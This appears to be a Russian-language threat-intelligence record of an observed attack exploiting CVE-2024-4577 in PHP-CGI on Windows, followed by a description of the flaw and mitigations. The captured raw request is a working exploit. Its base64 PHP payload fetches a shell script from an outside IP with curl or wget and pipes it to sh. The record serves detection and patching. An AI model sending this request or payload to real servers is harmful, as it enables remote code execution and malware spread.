Информация об атаке

Tag
CVE-2024-4577
Date
2024-10-15
Client IP
154.198.224.106
Client GEO
united states 
Vendor
PHP 
Product
PHP 
RAW request
POST /hello.world?%ADd+allow_url_include%3D1+%ADd+auto_prepend_file%3Dphp%3A%2F%2Finput HTTP/1.0
User-Agent: Custom-AsyncHttpClient
Host: █████████████
Content-Type: application/x-www-form-urlencoded
Content-Length: 221
X-Forwarded-For: ███████████████
Accept: */*
Upgrade-Insecure-Requests: 1
Connection: close

<?php shell_exec(base64_decode("WD0kKGN1cmwgaHR0cDovLzE1NC4yMTYuMTcuMzAvc2ggfHwgd2dldCBodHRwOi8vMTU0LjIxNi4xNy4zMC9zaCAtTy0pOyBlY2hvICIkWCIgfCBzaCAtcyBjdmVfMjAyNF80NTc3LnNlbGZyZXA=")); echo(md5("Hello CVE-2024-4577")); ?>
Description

CVE-2024-4577 - это критическая уязвимость в PHP с оценкой CVSS v3 9.8, что указывает на ее высокую серьезность. Эта уязвимость затрагивает все версии PHP для Windows, особенно в конфигурациях на традиционном китайском, упрощенном китайском и японском языках, даже в стандартных установках с использованием XAMPP. Уязвимость возникает из-за того, что CGI-движок не экранирует мягкий дефис (0xAD), который PHP интерпретирует как реальный дефис, позволяя злоумышленникам добавлять дополнительные аргументы и эксплуатировать систему.

Уязвимость может быть использована удаленно путем манипулирования параметрами URL, что приводит к удаленной инъекции команд. Это означает, что злоумышленник может выполнить произвольный PHP-код на сервере, раскрыть исходный код скриптов и потенциально получить полный контроль над затронутой системой. Эксплуатация возможна, если программное обеспечение PHP настроено в режиме CGI и если бинарные файлы php.exe или php-cgi.exe доступны, что часто встречается в стандартных установках XAMPP на Windows.

Уязвимость была быстро использована, и доступно несколько доказательств концепции (PoC) и публичных эксплойтов. В частности, программа-вымогатель TellYouThePass использовала эту уязвимость для распространения своего вредоносного ПО. Наличие уязвимости можно определить по номеру версии или с помощью скриптов или шаблонов Nuclei.

Учитывая ее критический характер, необходимо немедленно устранить эту уязвимость, чтобы предотвратить возможную эксплуатацию и минимизировать связанные с этим риски.

Mitigations

Для смягчения последствий CVE-2024-4577 необходимо обновить программное обеспечение PHP до одной из новых исправленных версий, устраняющих эту уязвимость:

  • PHP 8.3.8
  • PHP 8.2.20
  • PHP 8.1.29

В качестве временной меры можно переписать следующее правило, которое совместимо с установками на традиционном китайском, упрощенном китайском и японском языках:

RewriteEngine On
RewriteCond %{QUERY_STRING} ^%ad [NC]
RewriteRule .? - [F,L]

Для стандартных установок XAMPP на Windows можно закомментировать следующую строку в файле httpd-xampp.conf:

# ScriptAlias /php-cgi/ "C:/xampp/php/"

Кроме того, рекомендуется рассмотреть возможность перехода на более безопасные архитектуры, такие как Mod-PHP, FastCGI или PHP-FPM. Регулярный мониторинг обновлений и своевременное применение патчей также могут помочь снизить риск эксплуатации.